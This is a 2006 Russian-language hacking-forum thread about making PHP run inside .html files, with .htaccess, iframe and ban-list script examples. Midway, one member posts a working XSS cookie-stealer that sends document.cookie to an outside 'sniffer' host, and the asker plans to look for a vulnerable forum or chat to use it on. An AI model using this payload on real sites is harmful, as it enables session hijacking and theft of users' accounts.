Php в Html

Discussion in 'PHP' started by Murt@zaa, 29 Sep 2006.

  1. Murt@zaa

    Murt@zaa New Member

    Joined:
    27 Aug 2006
    Messages:
    18
    Likes Received:
    3
    Reputations:
    1
    Не судите если подобный вопрос уже задавался.
    Проблема такая: если создавать php файл соответственно с php кодом и запускать его то все выполняется без проблем а вот если создавать html файл и вписывать туда php код то при открытии ни че не выполняется. При чем в html файле ввожу все как надо
    <script language="php"> к о д с к р и п т а </script>
    Пожалуйста подскажите очень нужно!
     
    1 person likes this.
  2. r0

    r0 Elder - Старейшина

    Joined:
    17 Jul 2005
    Messages:
    450
    Likes Received:
    149
    Reputations:
    147
    <html>
    <?php
    код;
    ?>
    </html>
     
  3. Murt@zaa

    Murt@zaa New Member

    Joined:
    27 Aug 2006
    Messages:
    18
    Likes Received:
    3
    Reputations:
    1
    Все равно не выходит. может у меня с настройкой апача че то не то?
     
  4. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Php будет выполняться в расширении *.php
    тоесть создай пхп файл и смотри пример Рочи...

    Или же создай пхп файл например: script.php

    В html файле используй код: <iframe src=script.php>
     
  5. Murt@zaa

    Murt@zaa New Member

    Joined:
    27 Aug 2006
    Messages:
    18
    Likes Received:
    3
    Reputations:
    1
    Не получатся.
    То ли у меня руки кривые , то ли еще не пришло время познать все это, то ли я хочу того чего не может быть вовсе.
     
  6. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    У тя вообще поддреживает php?

    Вот короче пример 1:

    Создай файл index.php c содержанием:

    PHP:
    <html><head>
    <title>PHP and HTML #1</title></head>
    <body>
    <center><h1>Пример #1</h1>
    <?php
    echo "<b>Этот текст нарисовал скрипт!</b>";
    ?>
    <i>А этот нет...</i>
    </html>
    Пример 2:

    Создай 2 файла: index.html и script.php

    Содерание script.php
    PHP:
    <?php
    echo "Привет от PHP!";
    ?>
    --------
    Содержание index.html
    HTML:
    <html><head>
    <title>PHP and HTML #2</title></head>
    <body>
    <center><h1>Пример #2</h1>
    <iframe src=script.php frameborder=0>
    <i>Привет от html</i>
    </html>
    Я не понимаю, что те исчо нуна?
     
  7. Гаврила

    Гаврила Elder - Старейшина

    Joined:
    24 Oct 2005
    Messages:
    273
    Likes Received:
    89
    Reputations:
    17
    Попробуй тут почитать.
    http://wcode.ru/php/58/
    Там с примерами.
    Не забудь Денвер поставить или PHP Editor какой-нибудь =)
     
    #7 Гаврила, 29 Sep 2006
    Last edited: 29 Sep 2006
  8. Murt@zaa

    Murt@zaa New Member

    Joined:
    27 Aug 2006
    Messages:
    18
    Likes Received:
    3
    Reputations:
    1
    Мне необходимо было выполнить код php именно в файле с расширением .html но теперь Я ПОНЯЛ что это не возможно. Просто знаете я здесь размечтался че то, думал что получится вместо javasript'a в html впихнуть php код , например при пассивных XSS вместо alerta вставить phpinfo...
    P.S.: Бывает. Фантазия у меня очень развитая:))
     
  9. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    Можно и это. Читай про mod_rewrite в .htaccess
     
  10. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    SMIX правильно сказал, такое возможно есле имееш доступ к .htaccess или може его залить!
    А методами XSS неполучеться, т.к. php скрипт выполняеться непосредственно на сервере после чего результат передаеться брауеру, а html и жаба выполняються в браузере пользователя! Поэтому даж есле ты и вставиш при помоши пасивной XSS php код, ниче не произойдет, он будет восприниматься как обычный текст!
     
  11. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    Дык он наверное снифак хотел в html-страницу сунуть. Тогда все получится.
     
  12. Murt@zaa

    Murt@zaa New Member

    Joined:
    27 Aug 2006
    Messages:
    18
    Likes Received:
    3
    Reputations:
    1
    А можно поподробнее про снифер??
     
    #12 Murt@zaa, 29 Sep 2006
    Last edited: 29 Sep 2006
  13. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    НУ для сниффера PHP в html страничке не нужен! для этого вставляеться JavaScript
    вот пример: <script>img = new Image(); img.src = "http://tkv.xost.ru/s/s.gif?"+document.cookie;</script>
    где http://tkv.xost.ru/s/s.gif адрес сниффера!
     
  14. Murt@zaa

    Murt@zaa New Member

    Joined:
    27 Aug 2006
    Messages:
    18
    Likes Received:
    3
    Reputations:
    1
    Теперь я все знаю:)) осталось найти уязвимый форум, чат и т.д. :((
     
  15. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    Есле че буду у тя спрашивать!))
     
  16. Murt@zaa

    Murt@zaa New Member

    Joined:
    27 Aug 2006
    Messages:
    18
    Likes Received:
    3
    Reputations:
    1
    nc.STRIEM обращайся по любому вопросу. В долгу не останусь :)
     
  17. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    нет, он, кажется, именно код скрипта, который записывает кукисы в файл/базу/отправляетнамыло. А на форуме/чате идет фильтр по например динамическим ссылкам или расширению пхп...
     
  18. E}I{uk

    E}I{uk New Member

    Joined:
    8 Aug 2006
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Ребят помогите засунуть данный код в html файл
    PHP:
    <?php

    error_reporting
    (0);

    # путь к файлу
    $fname '';

    # заголовок страницы
    $title '';

    # инфа в визуале 
    # (если строка пустая, то не отображается)
    # (можно использовать теги и сделать визуал многострочным)
    $visual '
    <h1></h1>
    Admin: <a href=""></a><br>
    Downloads MyAC: <a href="">for Internet</a> & <a href="">for Local</a> users<br/>
    <a href="">Games Portal/Игровой портал</a><br/>
    <a href="">Forum/Форум</a><br/>
    <a href="">AMXBANS/Бан лист</a><br/>
    '
    ;

    ?>

    <!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
    <head>
    <title><?php print $title?></title>
    <link rel="stylesheet" type="text/css" href="main.css">
    </head>
    <body>
    <div class="body_header">
    <?php 
    if ($visual != '') { print $visual; }
    ?>

    </div>
    <br>
    <table width="100%">
         <tr class="darkcell">
              <td colspan="7" style="text-align: left;">Список забаненных:</td>
         </tr>
         <tr class="selectedcell">
              <td class="headercell">Дата</td>
              <td class="headercell">Ник*</td>
              <td class="headercell">IP</td>
              <td class="headercell">Время бана</td>
              <td class="headercell">Осталось</td>
              <td class="headercell">Забанен до</td>
              <td class="headercell">Причина</td>
         </tr>

    <?php

    if (file_exists($fname)) {
         if (
    $f = @fopen($fname'r')) {
              
    $lines = @file($fname);
              
    $lines_counter count(@file($fname));
              for (
    $i 0$i $lines_counter$i++) {
                   
    $str $lines[$i];
                   list(
    $part1,$hdd_sn,$trash,$name,$part3,$reason) = explode('"'$str);
                   if (
    $name == '') { $name 'Player'; }
                   list(
    $reason,$trash) = explode(' ('$reason);
                   list(
    $status,$date,$time) = explode(' '$part1);
                   list(
    $trash,$ip,$duration) = explode(' '$part3);
                   list(
    $day,$month,$year) = explode('.'$date);
                   list(
    $h,$min,$sec) = explode(':'$time);
                   
    $datetime mktime($h,$min,$sec,$month,$day,$year);
                   
    $duration_h $duration 60;
                   
    $duration_d $duration_h 24;
                   
    $datetime_unban date('d.m.y H:i:s',($datetime+$duration*60));
                   
    $remaining_time_min round((($datetime+$duration*60)-date('U'))/60);
                   
    $remaining_time_h round($remaining_time_min 60);
                   
    $remaining_time_d round($remaining_time_h 24);
                   if (
    $status == '+') {
                        print
    "<tr class=\"selectedcell\"><td>$date $time</td><td>$name</td><td>$ip</td><td alt=\"$duration_h ч. или $duration_d дн.\" title=\"$duration_h ч. или $duration_d дн.\">$duration мин.</td><td alt=\"$remaining_time_h ч. или $remaining_time_d дн.\" title=\"$remaining_time_h ч. или $remaining_time_d дн.\">$remaining_time_min мин.</td><td>$datetime_unban</td><td>$reason</td></tr>";
                   }
              }
         } else { print 
    "<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; }
         @
    fclose($f);
    } else { print 
    "<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; }

    ?>
    УМОЛЯЮ !!!!!!!!!!!!!!!
     
  19. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    попробуй вписать это в хтасес
    RemoveHandler .html .htm
    AddType application/x-httpd-php .php .htm .html .phtml добавим выполнение php кода в html
     
  20. E}I{uk

    E}I{uk New Member

    Joined:
    8 Aug 2006
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Ребят я вас умоляю!
    В php вообще не соображаю!
    Просто помогите мне засунуть данный php код в html файл
    PHP:
    <?php 

    error_reporting
    (0); 

    # путь к файлу 
    $fname ''

    # заголовок страницы 
    $title ''

    # инфа в визуале  
    # (если строка пустая, то не отображается) 
    # (можно использовать теги и сделать визуал многострочным) 
    $visual 
    <h1></h1> 
    Admin: <a href=""></a><br> 
    Downloads MyAC: <a href="">for Internet</a> & <a href="">for Local</a> users<br/> 
    <a href="">Games Portal/Игровой портал</a><br/> 
    <a href="">Forum/Форум</a><br/> 
    <a href="">AMXBANS/Бан лист</a><br/> 
    '


    ?> 

    <!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN"> 
    <html> 
    <head> 
    <title><?php print $title?></title> 
    <link rel="stylesheet" type="text/css" href="main.css"> 
    </head> 
    <body> 
    <div class="body_header"> 
    <?php  
    if ($visual != '') { print $visual; } 
    ?> 

    </div> 
    <br> 
    <table width="100%"> 
         <tr class="darkcell"> 
              <td colspan="7" style="text-align: left;">Список забаненных:</td> 
         </tr> 
         <tr class="selectedcell"> 
              <td class="headercell">Дата</td> 
              <td class="headercell">Ник*</td> 
              <td class="headercell">IP</td> 
              <td class="headercell">Время бана</td> 
              <td class="headercell">Осталось</td> 
              <td class="headercell">Забанен до</td> 
              <td class="headercell">Причина</td> 
         </tr> 

    <?php 

    if (file_exists($fname)) { 
         if (
    $f = @fopen($fname'r')) { 
              
    $lines = @file($fname); 
              
    $lines_counter count(@file($fname)); 
              for (
    $i 0$i $lines_counter$i++) { 
                   
    $str $lines[$i]; 
                   list(
    $part1,$hdd_sn,$trash,$name,$part3,$reason) = explode('"'$str); 
                   if (
    $name == '') { $name 'Player'; } 
                   list(
    $reason,$trash) = explode(' ('$reason); 
                   list(
    $status,$date,$time) = explode(' '$part1); 
                   list(
    $trash,$ip,$duration) = explode(' '$part3); 
                   list(
    $day,$month,$year) = explode('.'$date); 
                   list(
    $h,$min,$sec) = explode(':'$time); 
                   
    $datetime mktime($h,$min,$sec,$month,$day,$year); 
                   
    $duration_h $duration 60
                   
    $duration_d $duration_h 24
                   
    $datetime_unban date('d.m.y H:i:s',($datetime+$duration*60)); 
                   
    $remaining_time_min round((($datetime+$duration*60)-date('U'))/60); 
                   
    $remaining_time_h round($remaining_time_min 60); 
                   
    $remaining_time_d round($remaining_time_h 24); 
                   if (
    $status == '+') { 
                        print
    "<tr class=\"selectedcell\"><td>$date $time</td><td>$name</td><td>$ip</td><td alt=\"$duration_h ч. или $duration_d дн.\" title=\"$duration_h ч. или $duration_d дн.\">$duration мин.</td><td alt=\"$remaining_time_h ч. или $remaining_time_d дн.\" title=\"$remaining_time_h ч. или $remaining_time_d дн.\">$remaining_time_min мин.</td><td>$datetime_unban</td><td>$reason</td></tr>"
                   } 
              } 
         } else { print 
    "<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; } 
         @
    fclose($f); 
    } else { print 
    "<tr class=\"selectedcell\"><td colspan=\"7\"><i>Нет данных</i></td></tr>"; } 

    ?>